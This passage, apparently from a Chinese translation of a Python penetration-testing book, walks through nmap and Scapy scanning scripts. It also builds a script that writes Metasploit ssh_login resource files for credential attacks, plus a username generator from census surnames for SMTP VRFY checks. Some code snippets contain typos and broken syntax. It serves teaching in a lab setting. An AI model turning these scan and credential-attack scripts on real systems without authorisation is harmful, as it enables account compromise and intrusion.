为了突出这一点,我们可以创建一个接受 CLI 参数的脚本,以扫描特定的主机和端口。由于我们从 CLI 接受参数,我们需要导入 sys 库,并且因为我们正在使用nmap库进行扫描,我们需要导入nmap。请记住,在导入 Python 中不是原生的库时使用条件处理程序;这样可以使工具的可维护性简单,并且更加专业。

import sys
try:
    import nmap
except:
    sys.exit("[!] Install the nmap library: pip install python-nmap")

一旦库被导入,脚本可以设计参数要求。我们至少需要两个参数。这意味着如果参数少于两个或多于两个,脚本应该失败并显示帮助消息。请记住脚本名称算作第一个参数,所以我们必须将其增加到3。所需参数的结果产生以下代码:

# Argument Validator
if len(sys.argv) != 3:
    sys.exit("Please provide two arguments the first being the targets the second the ports")
ports = str(sys.argv[2])
addrs = str(sys.argv[1])

现在,如果我们运行nmap_scanner.py脚本而没有任何参数,我们应该会收到错误消息,如下截图所示:

Python 的 Nmap 库

这是脚本的基本框架,您可以在其中构建实际的扫描器。这是一个非常小的组件,相当于实例化类,然后将地址和端口传递给它,然后打印出来:

scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
    if not scanner[host].hostname():
        print("The host's IP address is %s and it's hostname was not found") % (host)
    else:
        print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())

这个极小的脚本为您提供了快速执行必要扫描的手段,如下截图所示。这个测试显示了系统的虚拟接口,我已经用本地主机标识符和接口 IP 地址进行了测试。在使用本地主机标识符进行扫描时,有两件事需要注意:您将收到一个主机名。如果您扫描系统的 IP 地址而没有查询名称服务,您将无法识别主机名。以下截图显示了此脚本的输出:

Python 的 Nmap 库

注意

此脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_scannner.py找到。

因此,这里的重大好处是现在您可以开始自动化系统的利用——到一定程度。这些类型的自动化应该相对温和,以便如果某些事情失败,它不会对环境的保密性、完整性或可用性造成损害或影响。您可以通过Metasploit Framework 的远程过程调用MSFRPC)或通过自动构建可以执行的资源文件来执行此操作。例如,让我们简单地构建一个资源文件,该文件可以执行凭据攻击以检查默认的 Kali 凭据;您已经更改了它们,对吧?

我们需要通过编写类似于我们在 Metasploit 控制台中执行的命令的行来生成一个文件。因此,通过执行search ssh_login来查看 Metasploit 的ssh_login模块,然后在使用msfconsole加载控制台后显示选项。识别所需的选项。以下屏幕截图显示了可以设置的示例项目:

Python 的 Nmap 库

其中一些项目已经设置,但缺少的组件是远程主机的 IP 地址和我们将要测试的凭据。默认端口已设置,但如果您的脚本设计用于测试不同端口,则也必须设置。您会注意到凭据不是必需字段,但要执行凭据攻击,您确实需要它们。为此,我们将使用 Python 中的write函数打开并创建一个文件。我们还将将缓冲区大小设置为零,以便数据自动写入文件,而不是采用操作系统默认值将数据刷新到文件。

脚本还将创建一个单独的资源文件,其中包含它识别的每个主机的 IP 地址。运行此脚本的附加好处是它创建了一个启用 SSH 的目标列表。将来,您应该尝试构建不仅设计用于测试单个服务的脚本,但这是一个很好的开始示例。我们将建立在先前的脚本概念基础上,但再次构建函数以模块化它。这将使您更容易将其转换为类。首先,我们添加ifacedetails.py脚本和导入的库的所有函数。然后我们将修改脚本的参数代码,以便它接受更多参数:

# Argument Validator
if len(sys.argv) != 5:
    sys.exit("[!] Please provide four arguments the first being the targets the second the ports, the third the username, and the fourth the password")
password = str(sys.argv[4])
username = str(sys.argv[3])
ports = str(sys.argv[2])
hosts = str(sys.argv[1])

现在构建一个函数,它将接受传递给它的详细信息,然后创建一个资源文件。您将创建包含必要值的字符串变量,这些值将被写入ssh_login.rc文件。然后使用先前提到的简单打开命令和相关的bufsize将详细信息写入文件中。现在文件中已经写入了字符串值。完成该过程后,关闭文件。请记住,当您查看set_rhosts值的字符串值时。请注意,它指向一个包含每行一个 IP 地址的文件。因此,我们需要生成此文件,然后将其传递给此函数:

def resource_file_builder(dir, user, passwd, ips, port_num, hosts_file):
    ssh_login_rc = "%s/ssh_login.rc" % (dir)
    bufsize=0
    set_module = "use auxiliary/scanner/ssh/ssh_login \n"
    set_user = "set username " + username + "\n"
    set_pass = "set password " + password + "\n"
    set_rhosts = "set rhosts file:" + hosts_file + "\n"
    set_rport = "set rport" + ports + "\n"
    execute = "run\n"
    f = open(ssh_login_rc, 'w', bufsize)
    f.write(set_module)
    f.write(set_user)
    f.write(set_pass)
    f.write(set_rhosts)
    f.write(execute)
    f.closed

接下来,让我们构建实际的target_identifier函数,它将使用 nmap 库扫描使用提供的端口和 IP 的目标。首先,它清除ssh_hosts文件的内容。然后检查扫描是否成功。如果扫描成功,脚本将通过扫描识别的每个主机启动for查找。对于这些主机中的每一个,它加载接口字典并遍历键值对。

密钥保存接口名称,值是一个嵌入式字典,保存该接口的每个值的详细信息,映射到以前ifacedetails.py脚本中显示的命名键。'addr'键的值与扫描中的host进行比较。如果两者匹配,则主机属于评估者的盒子,而不是被评估的组织。当这种情况发生时,主机值设置为None,目标不会添加到ssh_hosts文件中。最后检查验证端口是否实际上是 SSH 端口并且是打开的。然后将该值写入ssh_hosts文件并返回给主函数。脚本不会阻止本地主机 IP 地址,因为我们留下它进行测试,并且要突出显示作为比较,如果您想包括这个功能,修改这个模块:

def target_identifier(dir,user,passwd,ips,port_num,ifaces):
    bufsize = 0
    ssh_hosts = "%s/ssh_hosts" % (dir)
    scanner = nmap.PortScanner()
    scanner.scan(ips, port_num)
    open(ssh_hosts, 'w').close()
    if scanner.all_hosts():
        e = open(ssh_hosts, 'a', bufsize)
    else:
        sys.exit("[!] No viable targets were found!")
    for host in scanner.all_hosts():
        for k,v in ifaces.iteritems():
            if v['addr'] == host:
                print("[-] Removing %s from target list since it 
                    belongs to your interface!") % (host)
                host = None
        if host != None:
            home_dir="/root"
            ssh_hosts = "%s/ssh_hosts" % (home_dir)
            bufsize=0
            e = open(ssh_hosts, 'a', bufsize)
            if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
                if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
                    print("[+] Adding host %s to %s since the service is active on %s") % 
                        (host,ssh_hosts,port_num)
                    hostdata=host + "\n"
                    e.write(hostdata)
    if not scanner.all_hosts():
        e.closed
    if ssh_hosts:
        return ssh_hosts

现在脚本需要在执行之前设置一些默认值。最简单的方法是在参数验证器之后设置它们。查看您的脚本,在函数之外消除重复项(如果有的话),并在参数验证器之后放置以下代码:

home_dir="/root"
gateways = {}
network_ifaces={}

脚本的最后一个更改是包含一个测试,以查看它是作为独立脚本执行还是作为导入模块执行。我们一直在执行这些脚本,但最好的做法是包含一个简单的检查,以便将脚本转换为类。这个检查的唯一作用是查看执行的模块的名称是否为main,如果是,那么它意味着它是一个独立的脚本。当这种情况发生时,它将__name__设置为'__main__',表示独立脚本。

看一下以下代码,按照必要性的顺序执行相关函数。这是为了识别可利用的主机并将详细信息传递给资源文件生成器:

if __name__ == '__main__':
    gateways = get_gateways()
    network_ifaces = get_networks(gateways)
    hosts_file = target_identifier(home_dir,username,
      password,hosts,ports,network_ifaces)
    resource_file_builder(home_dir, username, 
      password, hosts, ports, hosts_file)

您经常会在互联网上看到调用main()函数而不是一堆函数的脚本。这在功能上等同于我们在这里所做的,但是您可以创建一个main()函数,放在if __name__ == '__main__':上面,其中包含前面的细节,然后按照这里突出显示的方式执行它:

if __name__ == '__main__':
    main()

通过这些小的改变,你可以根据扫描结果自动生成资源文件。最后,将脚本名称更改为ssh_login.py,然后保存并运行它。运行脚本时,它会生成配置和执行利用所需的代码。然后,您可以使用-r选项运行资源文件,如下面的截图所示。正如您可能已经注意到的,我进行了一次测试运行,包括我的接口 IP 地址,以突出显示内置的错误检查,然后对本地主机执行了测试。我验证了资源文件是否正确创建,然后运行它。

Python 的 Nmap 库

一旦进入控制台,您可以看到资源文件独自执行了攻击,并获得了以下结果。绿色的+符号表示在 Kali 盒子上打开了一个 shell。

Python 的 Nmap 库

资源文件也可以在 Metasploit 中使用resource命令调用,后面跟着文件名。对于这次攻击,可以使用以下命令调用资源ssh_login.rc,这将产生相同的结果。然后,您可以看到与使用session -i <session number>命令启动交互的新会话的交互。

以下截图显示了在 Kali 实例中验证用户名和主机名:

Python 的 Nmap 库

当然,你不会想对你的正常攻击盒这样做,但它提供了三个关键项目,它们需要被强调。始终更改默认密码;否则,即使在参与过程中,你也可能成为受害者。还要更改你的 Kali 实例主机名为一些防御性网络工具不会检测到的内容,并且始终在使用之前测试你的漏洞利用。

注意

有关 Python nmap 库的更多详细信息,请访问xael.org/norman/python/python-nmap/

现在,通过对 nmap、nmap 库和自动生成 Metasploit 资源文件的理解,你已经准备好开始学习 scapy 了。

注意

这个脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ssh_login.py找到。

Python 的 Scapy 库

欢迎来到 Scapy,这是一个设计用于操纵、发送和读取数据包的 Python 库。Scapy 是那些具有广泛适用性的工具之一,但它可能看起来很复杂。在我们开始之前,有一些关于 Scapy 的基本规则需要理解,这将使创建脚本变得更容易。

首先,参考前面的部分,了解 TCP 标志及其在 Scapy 中的表示方式。你需要查看前面提到的标志及其相关位置来使用它们。其次,当 Scapy 接收到发送的数据包的响应时,标志由 TCP 头的第 13 个八位字节中的八进制格式的二进制位表示。因此,你必须根据这些信息来读取响应。

查看下表,它表示了每个标志的二进制位置值:

Python 的 Scapy 库

因此,当你从 TCP 数据包的响应中寻找特定类型的标志时,你必须进行计算。前面的表将帮助简化这一过程,但请记住,如果你曾经使用过或者使用过tcpdump,那么传输的材料是相同的。例如,如果你正在寻找一个 SYN 数据包,你会看到第 13 个八位字节的值为 2。如果是 SYN + ACK,它的值将是 18。只需将标志值相加,你就会得到你要找的内容。

接下来要记住的一件事是,如果你尝试 ping 回环接口或本地主机,数据包将不会被组装。这是因为内核拦截了请求,并通过系统的 TCP/IP 堆栈在内部处理。这是人们在使用 Scapy 时经常遇到的错误之一,他们经常因此放弃。因此,与其深入修复数据包以便它们能够到达你自己的 Kali 实例,不如启动你的 Metasploitable 实例或尝试测试你的默认网关。

提示

如果你想了解更多关于测试回环接口或本地主机值的信息,你可以在www.secdev.org/projects/scapy/doc/troubleshooting.html找到解决方案。

因此,我们将重点介绍使用 Scapy 测试连接,然后扫描 Web 端口。你必须了解,Scapy 有多种发送和接收数据包的方法,取决于你想要提取的数据,可能不需要复杂的方法。首先,看看你想要实现什么。如果你想保持独立于操作系统,你应该使用sr()来处理第 3 层数据,使用srp()来处理第 2 层数据。接下来,如果方法在函数名后面但在()符号前面有1,比如sr1(),这意味着它只返回第一个答案。这通常足以实现大多数结果,但如果有多个数据包需要评估,你将需要放弃这些类型的方法。

接下来是send()方法,它使用操作系统默认的第 2 层和一些操作系统能力的第 3 层及以上。最后是sendp(),它使用自定义的第 2 层头部。这可以使用Ether()方法来表示以太网帧头部。这对于无线网络或基于理论安全性的虚拟局域网(VLAN)分割网络的地方非常有用。这是因为无线通信在第 2 层操作,VLAN 也在这一层被识别。

注意

基于 VLAN 的访问控制列表(ACL)被大多数评估者认为是一个烦恼的原因,而不是安全性。这是因为在大多数网络中,你可以通过操纵第 2 层帧的头部轻松地跳转网络段。随着经验的增加,你将经常在实际网络中看到这方面的例子。

所以,导入 Scapy 库,然后设置一个变量,其中包含你想要 ping 的目标 IP 地址。创建一个数据包,其中包含你想要发送到目标主机的通信细节和标志。然后设置一个响应变量来接收sr1()函数的结果:

#!/usr/bin/env python
try:
    from scapy.all import *
except:
    sys.exit("[!] Install the scapy libraries with: pip install 
      scapy")
ip = "192.168.195.2"
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timout=10)

Python 的 Scapy 库

现在你看到你得到了一个答案,这意味着主机很可能是存活的。你可以通过以下测试来验证:

if resp == None:
    print("The host is down")
else:
    print("The host is up")

当你测试这个时,你会看到 ping 扫描的结果是成功的,如下所示:

Python 的 Scapy 库

我们成功地 ping 了主机,并通过证明响应变量不为空来验证了它。从这里,我们现在可以检查它是否有一个开放的 web 端口。为了实现这一点,我们将执行一个 SYN 扫描。然而,在这样做之前,要明白当你从连接尝试中收到一个响应时,你会收到答案和未答案数据。所以,最好的做法是将它们分开,幸运的是,由于 Scapy 和 Python 的语法,这是非常容易的。你只需将响应传递给两个不同的变量,第一个是答案,第二个是未答案,如下所示:

answers,unanswers = sr1(icmp, timout=10)

通过这个简单的改变,你现在可以清理数据返回,以便更容易操作。此外,你可以通过简单地在answersunanswers后附加.summary()来从这些细节中获得摘要。如果你正在迭代从01024的端口列表,你可以通过将值按位置传递给answers变量来查看特定端口的具体结果。所以,如果你想要查看端口80的答案扫描结果,你可以像这样将值传递给列表:answers[80]。这些答案都包含了发送和接收的数据包,但这些可以像前面的例子一样进一步分割,如下面的代码所示:

sent, received = answers[80]

请记住,这个例子只适用于端口80,因为你指定了你想要从中提取数据的位置。如果你没有将一个位置值传递给answers变量,你将把所有发送的数据包放在sent变量中,所有接收的数据包放在received变量中。

现在你已经列出了基本信息,你可以开发一个数据包,发送到目标,然后接收结果。在继续之前需要讨论的一件事是,从头开始构建一个数据包是多么容易,首先构建 IP 头部,然后是 TCP 头部。接下来,你将数据传递给扫描器,它会识别目标是存活还是不存活。你可以配置它,使之没有超时值,但我强烈不建议这样做,因为你可能永远等待而没有返回。下面的脚本是用来识别192.168.195.1主机,并确定 web 端口是否开放的:

#!/usr/bin/env python
from scapy.all import *
ip = "192.168.195.1"
dst_port = 80
headers=IP(dst=ip)/TCP(dport=dst_port, flags="S")
answers,unanswers=sr(headers,timeout=10)

正如你在下面的截图中所看到的,系统做出了回应。前面的脚本可以独立运行,或者你可以使用交互式解释器执行每一行,就像这里所示的那样:

Python 的 Scapy 库

现在可以从answers变量中提取细节。请记住,这是一个列表,所以你应该递增每个值。发送的第一个数据包将由位置 0 表示,因此之后的每个位置表示原始数据包之后接收到的 IP 数据包:

for a in answers:
    print(a[1][1].flags)

然而,列表中的每个值实际上是另一个包含更多数据的列表。在 Python 中,我们称之为矩阵,但不要担心!它很容易导航。首先,请记住我们使用了sr()函数,这意味着结果将来自第 3 层及以上。每个嵌套列表都是用于上面的协议;在这种情况下,它将是 TCP。我们执行了一个 SYN 扫描,因此我们正在寻找一个 SYN + ACK 响应。查看前面的部分来计算你要找的值。通过参考与 TCP 标志相关的前面部分,你会发现在头部中你要找的值是 18,以验证 SYN + ACK 响应,这可以通过添加ACK = 16的位置值和SYN = 2的位置值来计算。下面的截图显示了实际结果,显示端口是打开的。理解这些概念将使你能够在未来的脚本中使用 Scapy。

Python 的 Scapy 库

你现在对 Scapy 有了基本的了解,但不用担心!你还没有完成它。Scapy 具有相当多的功能,我们只是触及了一部分,并且它不仅可以执行简单的扫描,还可以操纵网络流量。许多嵌入式设备和工业控制系统使用独特的通信形式来为其他单元提供命令和控制。有时,当 nmap 被阻止时,你会意识到需要识别活动设备。Scapy 可以帮助你完成所有这些任务。

总结

在本章中,涵盖了关于在网络上识别活动主机、可行的目标以及不同通信模型的许多细节。为了帮助你理解协议以及它们的通信方式,我们讨论了它们在数据包和帧级别的不同形式。本章以使用 Python 的nmapScapy库自动利用主机来支持目标识别而告终。在下一章中,我们将在这些概念的基础上,看看如何利用字典、暴力和密码喷射攻击来利用服务。

第四章:使用 Python 执行凭证攻击

凭证攻击有多种形式,但往往被认为是渗透测试的最后一步,当其他方法都失败时。这是因为大多数新的评估者以错误的方式对待它。在讨论新评估者用于凭证攻击的工具时,最常用的两种攻击是在线字典和暴力攻击。他们通过下载包含密码和大量用户名列表的巨大字典,并针对接口运行它。当攻击失败时,评估者会进行暴力攻击。

这种攻击要么使用相同的用户名列表,要么使用超级用户(root)或本地管理员帐户。大多数情况下,这也会失败,因此字典攻击最终会被认为是不好的,并被移到参与过程的最后。这是非常错误的,因为在大多数参与过程中,特别是在面向互联网的姿态上,如果正确执行凭证攻击,您将获得访问权限。第一章,理解渗透测试方法论和第三章,使用 Nmap、Scapy 和 Python 识别目标向您介绍了一些基本的字典攻击概念,本章将在此基础上进行深入,并帮助您了解如何以及何时使用它们。在开始执行这些攻击之前,您需要对攻击类型有一个牢固的理解。

凭证攻击的类型

在讨论凭证攻击时,人们很容易就会想到密码攻击。请记住,对资源的认证和授权通常需要两个组件,即密码和用户名。如果您不知道密码所属的用户名,即使您拥有全世界最常用的密码也没有用。因此,凭证攻击是我们使用用户名和密码来评估资源的方式。有针对性地获取用户名的方法将在后面介绍,但现在我们必须定义密码攻击的总体类型,即在线和离线。

定义在线凭证攻击

在线凭证攻击是指当您针对接口或资源进行强制认证时所做的操作。这意味着您可能不知道用户名、密码,或两者都不知道,并且正在尝试确定正确的信息以获得访问权限。这些攻击是在您未能访问能够提供哈希值、明文密码或其他受保护形式数据的资源时执行的。相反,您正在尝试根据您所做的研究来做出合理的猜测。在线攻击的类型包括字典、暴力和密码喷洒攻击。请记住,资源可以是联合或集中系统的一部分,例如Active DirectoryAD),或者是主机本身的本地帐户。

提示

对于那些喊着“混合攻击呢?”的人,大多数评估者认为它是字典攻击的一种形式,因为它只是一个单词列表的排列。如今,你几乎找不到不包含混合词的字典了。在 20 世纪 90 年代,这种情况比较少见,但随着更好的教育和更强大的系统以及经过验证的密码要求,情况已经发生了改变。

定义离线凭证攻击

离线凭证攻击是指当您已经破解了一个资源并提取了哈希等数据后,现在正在尝试猜测它们。这可以通过多种方式来完成,取决于哈希的类型和可用的资源,一些例子包括离线字典、基于规则的攻击、暴力攻击或彩虹表攻击。我们之所以称之为离线凭证攻击而不是离线密码攻击,是因为您正在尝试猜测密码的明文版本,而这个系统并非密码的原始来源。

这些密码哈希可能已经用随机信息或已知组件(如用户名)进行了盐化。因此,您可能仍然需要知道用户名才能破解哈希,因为盐是增加随机性的一个组成部分。现在,我已经看到一些实现使用用户名作为哈希算法的盐,这是一个非常糟糕的主意。支持这一观点的论据是,盐和用户名一样都与密码一起存储,那么这有什么关系呢?在系统中广泛使用的已知用户名,如 root、administrator 和 admin,在系统被破坏之前就已知,以及已知的加密方法,这开启了一个重大的漏洞。

这意味着盐是基于用户名的,这意味着在获得对环境的访问权限之前和参与开始之前就已知。因此,您已经有效地打败了为使破解密码更加困难而制定的机制,包括使用彩虹表。在参与开始之前已知盐意味着彩虹表对于盐化密码同样有用,只要您有一个可以处理数据的工具。

提示

糟糕的盐方法和自定义加密方法可能会使组织面临妥协。

离线攻击依赖于采用一个单词并使用相同的保护方法以相同格式创建哈希值作为受保护密码的前提。如果受保护的值与新创建的值相同,那么您将获得一个等效的单词并获得访问权限。大多数密码保护方法使用哈希处理来模糊值,这是一个单向函数,或者换句话说,它不能被逆转,因此该方法无法被逆转以产生原始值。

因此,当系统通过其认证方法接受密码时,它会以相同的方法对密码进行哈希处理,并将存储的哈希值与新计算的哈希值进行比较。如果它们相等,您就有了合理的保证,密码是相同的,访问将被授予。合理保证的概念取决于哈希算法的强度。一些哈希算法被认为是薄弱或破碎的,例如消息摘要 5MD5)和安全哈希算法 1SHA-1)。其原因是它们容易发生碰撞。

碰撞意味着所保护数据的数学可能性不具备足够的熵,以保证不同的哈希值不会等于相同的内容。事实上,由相同破碎算法哈希的两个完全不同的单词可能会创建相同的哈希值。因此,这直接影响了系统的认证方法。

当有人访问系统时,输入的密码以与系统上存储的密码相同的方法进行哈希处理。如果两个值匹配,那意味着理论上密码是相同的,除非哈希算法是薄弱的。因此,在评估系统时,您只需找到一个值,该值将创建与原始值相同的哈希。如果发生这种情况,您将获得对系统的访问权限,这就是已知碰撞的哈希的弱点所在。您不需要知道创建哈希的实际值,只需找到一个等效值,该值将创建相同的哈希。

提示

在撰写本文时,MD5 用于验证取证的文件系统和数据的完整性。尽管 MD5 被认为是一个破碎的哈希,但它仍被认为对于取证和文件系统的完整性来说是足够好的。其原因是要欺骗算法以大量数据集(如文件系统)需要付出不可行的工作量。在数据被调整或提取后操纵文件系统以创建相同的完整性标记是不现实的。

现在您已经了解了离线和在线凭据攻击的区别,我们需要开始生成用于它们的数据。首先是生成用户名,然后验证它们是否属于组织的一部分。这似乎是一个小步骤,但它非常重要,因为它可以缩减您的目标列表,减少您产生的噪音,并提高您攻击组织的机会。

识别目标

我们将以 Metasploitable 为例,因为它将允许您在安全和合法的环境中测试这些概念。首先,让我们对系统进行一个简单的nmap扫描,进行服务检测。以下命令突出了特定的参数和选项,它执行 SYN 扫描,寻找系统上的知名端口。

nmap -sS -vvv -Pn -sV<targetIP>

从结果中可以看出,主机被识别为 Metasploitable,并且有许多端口开放,包括端口 25 上的简单邮件传输协议SMTP)。

识别目标

创建有针对性的用户名

在针对组织,尤其是在边界方面,最简单的进入方式是攻击一个账户。这意味着您至少获得了该人的基本访问权限,并可以找到提升权限的方法。为此,您需要为组织确定现实的用户名。这可以通过研究在网站上工作的人员来完成,例如www.data.com/www.facebook.com/www.linkedin.com/hp/vault.com/。您可以使用Harvester.pyRecon-ng等工具自动化部分工作,这些工具可以获取互联网暴露和存储库。

这项初步研究很好,但你通常有限的时间来做这件事,不像恶意行为者。所以你可以做的是补充你找到的数据,生成用户名,然后对它们进行验证,例如通过启用了 VRFY 的 SMTP 或 Finger 服务端口。如果你发现这些端口开放,尤其是在互联网上针对目标组织,我首先要做的是验证我的用户名列表。这意味着我可以缩减下一步的攻击列表,我们将在第五章中进行介绍,利用 Python 进行服务利用

利用美国人口普查生成和验证用户名

多年来,美国政府和其他国家对国家人口进行调查。这些信息对守法公民和恶意行为者都是可用的。这些细节可以用于社会工程攻击、销售研究,甚至电话推销。有些细节比其他细节更难找到,但我们最喜欢的是姓氏列表。这个 2000 年产生的列表为我们提供了美国人口中前 1000 个姓氏。

如果你曾经看过大多数组织用户名的组成部分,它通常是他们名字的第一个字母和整个姓氏。当这两个部分组合在一起时,就创建了一个用户名。使用美国人口普查的前 1000 名姓氏列表,我们可以通过下载列表提取姓氏,并在每个字母前面添加字母表中的每个字母,为每个姓氏创建 26 个用户名。这个过程将产生一个包括公开信息细节在内的 26,000 个用户名列表。

当您将通过社交媒体搜索创建的用户名列表与用于识别电子邮件地址的工具结合使用时,您可能会得到一个庞大的列表。因此,您需要将其缩减。在这个例子中,我们将向您展示如何使用 Python 从 Excel 电子表格中提取细节,然后验证由其他列表创建和组合的用户名是否与运行 VRFY 的 SMTP 服务匹配。

提示

西方政府通常会制作类似的列表,因此请确保您正在尝试评估的地方,并使用与组织所在地相关的信息。此外,美国属地、阿拉斯加和夏威夷等州的姓氏与美国大陆其他地区大不相同。构建您的列表以弥补这些差异。

生成用户名

这个过程的第一步是下载 Excel 电子表格,可以在这里找到www.census.gov/topics/population/genealogy/data/2000_surnames.html。您可以直接使用wget从控制台下载特定文件,如下所示。请记住,您应该只下载文件;除非您获得许可,否则不要评估组织或网站。以下命令相当于访问该网站并单击链接下载文件:

wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls

现在打开 Excel 文件,看看它的格式,以便我们知道如何开发脚本来提取详细信息。

生成用户名

正如您所看到的,有 11 列定义了电子表格的特征。我们关心的是姓名和排名。姓名是我们将创建用户名列表的姓氏,排名是在美国出现的顺序。在构建解析人口普查文件的函数之前,我们需要开发一种方法将数据传递到脚本中。

argparser库允许您快速有效地开发命令行选项和参数。xlrd库将用于分析 Excel 电子表格,字符串库将用于开发字母字符列表。os库将确认脚本正在运行的操作系统OS),因此文件名格式可以在内部处理。最后,collections 库将提供在内存中组织从 Excel 电子表格中提取的数据的方法。唯一不是 Python 实例的库是xlrd,可以使用pip安装。

#!/usr/bin/env python
import sys, string, arparse, os
from collections import namedtuple
try:
    import xlrd
except:
    sys.exit("[!] Please install the xlrd library: pip install xlrd")

现在您已经安装了库,可以开始构建执行工作的函数了。此脚本将包括增加或减少其冗长程度的功能。这是一个相对容易包含的功能,通过将冗长变量设置为整数值来实现;值越高,冗长越多。我们将默认为 1,并支持最多 3 个值。超过这个值将被视为 3。此函数还将接受传递的文件名,因为您永远不知道它可能会在将来更改。

我们将使用一种名为命名元组的元组形式来接受电子表格的每一行。命名元组允许您根据坐标或字段名称引用详细信息,具体取决于其定义方式。正如您所猜测的,这对于电子表格或数据库数据非常适用。为了使这对我们来说更容易,我们将以与电子表格相同的方式定义它。

defcensus_parser(filename, verbose):
    # Create the named tuple
    CensusTuple = namedtuple('Census', 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic')

接下来,开发变量来保存工作簿、电子表格名称、总行数和电子表格的初始行。

    worksheet_name = "top1000"
    #Define work book and work sheet variables
    workbook = xlrd.open_workbook(filename)
    spreadsheet = workbook.sheet_by_name(worksheet_name)
    total_rows = spreadsheet.nrows - 1
    current_row = -1

然后,开发初始变量来保存结果值和实际字母表。

    # Define holder for details
    username_dict = {}
    surname_dict = {}
    alphabet = list(string.ascii_lowercase)

接下来,将遍历电子表格的每一行。surname_dict保存电子表格单元格的原始数据。username_dict将保存用户名和转换为字符串的排名。每当在排名值中检测不到点时,这意味着该值不是float,因此为空。这意味着该行本身不包含真实数据,应该跳过。

    while current_row<total_rows:
        row = spreadsheet.row(current_row)
        current_row += 1
        entry = CensusTuple(*tuple(row)) #Passing the values of the row as a tuple into the namedtuple
        surname_dict[entry.rank] = entry
        cellname = entry.name
        cellrank = entry.rank
        for letter in alphabet:
            if "." not in str(cellrank.value):
                if verbose > 1:
                    print("[-] Eliminating table headers")
                break
            username = letter + str(cellname.value.lower())
            rank = str(cellrank.value)
            username_dict[username] = rank

记住,字典存储由键引用的值,但是无序的。所以我们可以做的是取出字典中存储的值,并按键(值的等级或姓氏)对它们进行排序。为此,我们将使用一个列表,并让它接受函数返回的排序后的详细信息。由于这是一个相对简单的函数,我们可以使用lambda创建一个无名函数,它使用可选的排序参数键来调用它,以便在处理代码时调用它。实际上,排序根据字典键为字典中的每个值创建了一个有序列表。最后,这个函数返回username_list和两个字典,如果将来需要的话。

    username_list = sorted(username_dict, key=lambda key: username_dict[key])
    return(surname_dict, username_dict, username_list)

好消息是,这是整个脚本中最复杂的函数。下一个函数是一个众所周知的设计,它接受一个列表并删除重复项。该函数使用列表推导,它减少了用于创建有序列表的简单循环的大小。函数内的表达式可以写成以下形式:

for item in liste_sort:
    if not noted.count(item):
        noted.append(item)

为了减少这个简单执行的大小并提高可读性,我们改为使用列表推导,如下摘录所示:

defunique_list(list_sort, verbose):
    noted = []
    if verbose > 0:
        print("[*] Removing duplicates while maintaining order")
    [noted.append(item) for item in list_sort if not noted.count(item)] # List comprehension
    return noted

这个脚本的目标之一是将来自其他来源的研究合并到包含用户名的同一个文件中。用户可以传递一个文件,可以将其添加到人口普查文件输出的详细信息中。当运行这个脚本时,用户可以将文件作为预置值或附加值提供。脚本确定是哪一个,然后读取每一行,剥离每个条目的换行符。然后确定是否需要将其添加到人口普查用户名列表的末尾或开头,并设置put_where的变量值。最后,返回列表和put_where的值。

defusername_file_parser(prepend_file, append_file, verbose):
    if prepend_file:
        put_where = "begin"
        filename = prepend_file
    elif append_file:
        put_where = "end"
        filename = append_file
    else:
        sys.exit("[!] There was an error in processing the supplemental username list!")
    with open(filename) as file:
        lines = [line.rstrip('\n') for line in file]
    if verbose > 1:
        if "end" in put_where:
            print("[*] Appending %d entries to the username list") % (len(lines))
        else:
            print("[*] Prepending %d entries to the username list") % (len(lines))
    return(lines, put_where)

只需要一个将两个用户列表合并的函数。这个函数要么使用简单的分割将新用户列表放在人口普查列表的前面,要么使用 extend 函数将数据附加到人口普查列表后面。然后调用之前创建的函数,将非唯一值减少为唯一值。知道函数的密码锁定限制,然后多次调用相同的用户帐户,锁定帐户是不好的。最终返回的项目是新的合并用户名列表。

defcombine_usernames(supplemental_list, put_where, username_list, verbose):
    if "begin" in put_where:
        username_list[:0] = supplemental_list #Prepend with a slice
    if "end" in put_where:
    username_list.extend(supplemental_list)
    username_list = unique_list(username_list, verbose)
    return(username_list)

脚本中的最后一个函数将详细信息写入文件。为了进一步提高脚本的功能,我们可以创建两种不同类型的用户名文件:一个包括类似电子邮件地址的域,另一个是标准用户名列表。带有域的补充用户名列表将被视为可选项。

这个函数根据需要删除文件的内容,并遍历列表。如果列表是域列表,它会简单地将@和域名应用到每个用户名上,并将其写入文件。

defwrite_username_file(username_list, filename, domain, verbose):
    open(filename, 'w').close() #Delete contents of file name
    if domain:
        domain_filename = filename + "_" + domain
        email_list = []
        open(domain_filename, 'w').close()
    if verbose > 1:
        print("[*] Writing to %s") % (filename)
    with open(filename, 'w') as file:
         file.write('\n'.join(username_list))
    if domain:
        if verbose > 1:
            print("[*] Writing domain supported list to %s") % (domain_filename)
        for line in username_list:
            email_address = line + "@" + domain
            email_list.append(email_address)
        with open(domain_filename, 'w') as file:
            file.write('\n'.join(email_list))
    return

现在函数已经定义好了,我们可以开发脚本的主要部分,并正确引入参数和选项。

注意

argparse库已经取代了提供类似功能的optparse库。值得注意的是,脚本语言中与选项和参数相关的许多弱点在这个库中得到了很好的解决。

argparse库提供了设置短选项和长选项的能力,可以接受由types定义的多个值。然后将它们呈现到您用dest定义的变量中。

每个参数都可以使用动作参数定义特定功能,包括值计数和其他功能。此外,每个参数都可以使用default参数设置default值。另一个有用的功能是help参数,它提供了用法反馈并改进了文档。我们并不是每次都在每次参与或每天都使用我们创建的每个脚本。请参见以下示例,了解如何为census文件添加参数。

parser.add_argument("-c", "--census", type=str, help="The census file that will be used to create usernames, this can be retrieved like so:\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls", action="store", dest="census_file")

了解了这些简单的功能后,我们可以开发要传递给脚本的参数的要求。首先,我们验证这是否是主要函数的一部分,然后我们将argeparse实例化为解析器。简单的用法语句显示了执行脚本所需调用的内容。%(prog)s在功能上等同于在argv中放置0,因为它代表脚本名称。

if __name__ == '__main__':
    # If script is executed at the CLI
    usage = '''usage: %(prog)s [-c census.xlsx] [-f output_filename] [-a append_filename] [-p prepend_filename] [-ddomain_name] -q -v -vv -vvv'''
